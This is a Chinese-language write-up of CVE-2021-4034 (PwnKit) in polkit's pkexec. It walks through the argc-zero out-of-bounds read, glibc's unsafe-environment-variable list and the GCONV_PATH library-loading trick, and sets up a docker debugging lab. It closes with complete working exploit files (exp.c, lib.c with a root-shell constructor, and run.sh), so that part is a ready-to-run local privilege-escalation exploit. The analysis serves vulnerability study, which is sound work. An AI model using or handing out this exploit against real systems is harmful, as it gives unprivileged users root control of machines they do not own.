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漏洞编号: CVE-2021-4034
漏洞评分:
漏洞产品: linux PolKit (pkexec)
影响范围: 影响2009年 - 今的版本(当前0.105) 参考http://its.dlut.edu.cn/info/1054/78309.htm
利用条件: linux 本地；pkexec 为suid 文件且有执行权限
源码获取: apt source policykit-1
或 https://launchpad.net/ubuntu/bionic/+package/policykit-1
docker 环境: chenaotian/cve-2021-4034
我自己搭建的docker，提供了：
- 自己编译的可源码调试的
pkexec - 有调试符号的glibc(貌似没啥用)
- gdb 和gdb 插件pwngdb & pwndbg(貌似没必要)
- 调试环境中的exp
所有东西都在 /root/ 目录中：
- exp 目录就是exp 和run.sh 所在目录，可以直su test 切换到test 用户然后跑
- glibc-2.27 是glibc 源码目录，大概率用不上，用到的时候方便gdb 源码调试
- polkit-0.105 是 policykit 源码包
启动docker：
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
测试exp：
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami漏洞发生的产品是polkit 下的 pkexec 命令。pkexec 和sudo 类似都是能够让我们以其他用户身份(通常是root) 来执行命令的工具。通过dpkg 命令可以查看pkexec 所属包：
dpkg -S /usr/bin/pkexec
然后获取源码包(我的docker 之中也有)，之后根据源码包自己编译可以调试的版本方便调试。
漏洞触发原理非常简单
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* 这段的意思就是，循环遍历用户输入参数，根据输入的不同参数设置值
* 但问题在于，他循环遍历的起点是1，没有考虑用户没有输入任何参数的情况
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //如果是无法识别的参数则跳出循环，这里意味着该参数是想要执行的命令
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //获取执行命令具体字符串
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
//该函数会根据PATH环境变量寻找要执行命令的绝对地址
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
}
··· ···
··· ···根据代码中我的注释分析：
- 首先main函数中会根据用户输入的命令行参数进行一些变量设置，但这里for 循环的起始值是1，也就是说他默认我们至少会附带一个参数(需要
pkexec执行的命令) - 如果匹配到非
--开头的命令行参数，认为是需要执行的命令，则认为该参数是要用pkexec执行的命令，而跳出循环进行下面逻辑。 - 调用
g_find_program_in_path函数搜索命令的绝对路径。g_find_program_in_path函数会根据PATH环境变量来寻找传入参数(命令)的绝对路径。如传入cat返回/bin/cat。 - 将返回的绝对路径写回该命令行参数的位置。(可以理解为从命令转换为命令对应文件的绝对路径)
还是很好理解的，但问题在于：
-
linux 二进制程序运行时会将命令行参数
argv[]和环境变量environ[]放到栈底部，并且argv[]和environ[]是连着的。其中argv[]最后一项是null。
-
如果是命令行启动的
pkexec切不带任何其他参数，那么argv[0]为"pkexec"，argv[1]为\x00没啥问题。但如果是用execve函数启动的pkexec，不带任何其他参数，那么argv[0]为\x00，argv[1]就到了环境变量了！当读取argv[1]的时候就会越界读取到environ[0]命令行直接启动
pkexec的argc为1，argv[0]就是pkexec路径：
用
execve函数启动pkexec，argc为0：
那这回造成什么影响呢？ 就是当以execve 启动时，不接任何其他参数，那么argv[] 长度为0，那么argv[1] 就是environ[0] 这样上面分析的逻辑就变成了，**获取第一个环境变量的值，并且从PATH 环境变量中寻找其绝对路径。如果寻找到则写回第一个环境变量。**那么利用方式如下：
首先要明确的一点就是，pkexec 是一个特权(suid) 文件：
如何在特权文件中利用环境变量搞点事情呢？首先先了解一个小细节：
linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量：
函数_dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //特权模式的情况下
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//循环将危险环境变量列表中的环境变量全部清空(unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}危险环境变量列表 UNSECURE_ENVVARS 定义如下：
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"当检测到程序是特权文件(suid) 的时候，会清空上面的这些环境变量，可以看到，绝大部分是LD_ 系列的环境变量，他们都有能指定动态库加载路径的能力。这是防止低权限用户通过这些环境变量让suid 程序加载不可信的so，造成的恶意代码执行进而提权的情况。
而在该漏洞场景下，我们拥有一次任意环境变量写得机会，我们的利用思路就是尝试从上面那些本来没法传入suid 程序中的环境变量中找点东西。
由于已经公布了poc，这里直接看答案就很简单了，这里参考了arthepsy的poc。内容很简单，但通过该poc 得知利用关键环境变量是**GCONV_PATH**。确实是上面危险环境变量列表中的一员，甚至是第一个！
关于GCONV_PATH 与 iconv_open() 函数：
iconv_open()函数申请一个转换描述符，转换字符序列从编码fromcode到编码tcode转换描述符包含转换状态。iconv_open()函数首先会找到系统提供的gconv-modules文件，这个文件中包含了各个字符集的相关信息存储的路径，每个字符集的相关信息存储在一个.so文件中。然后再根据gconv-modules文件的指示去链接参数对应的.so文件执行具体操作。如果存在环境变量GCONV_PATH，则iconv_open()函数依照GCONV_PATH找到gconv-modules文件，后续操作不变。
也就是说，这里GCONV_PATH 环境变量也有相当于 LD_LIBRARY_PATH 的功能。他可以指定 iconv_open() 函数搜索so库的文件。我们如果可以伪造GCONV_PATH 然后进一步伪造 gconv-modules 最后在伪造一个 so 就可以完成任意so加载以及任意代码执行。
大体思路如下：
-
创建一个 名为
GCONV_PATH=.目录 -
在
GCONV_PATH=.目录中创建一个 名为pwnkitdir的文件，权限带x -
创建一个 名为
pwnkitdir的目录 -
在
pwnkit目录中创建gconv-modules文件，依照格式写入如下内容：module UTF-8// PWNKIT// pwnkit 1 -
在
pwnkit目录中放入恶意sopwnkit.so里面是获取shell的代码。 -
设置相关环境变量
- 第一个环境变量
pwnkitdir - 第二个环境变量
PATH=GCONV_PATH=.这样g_find_program_in_path函数组合出的路径就是GCONV_PATH=./pwnkitdir正好是环境变量的格式，而且./pwnkitdir目录存在，GCONV_PATH=./pwnkitdir文件也存在。 CHARSET=PWNKIT环境变量，在走到iconv_open前的路径中会用到，用来从gconv-modules中搜索soSHELL=xxx，，在走到iconv_open前的路径中会用到
- 第一个环境变量
-
通过
execve启动pkexec参数为空，环境变量为上面设置的值
然后就成功，具体exp如下：
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp利用成功:
升级最新版本
arthepsy‘s poc：https://github.com/arthepsy/CVE-2021-4034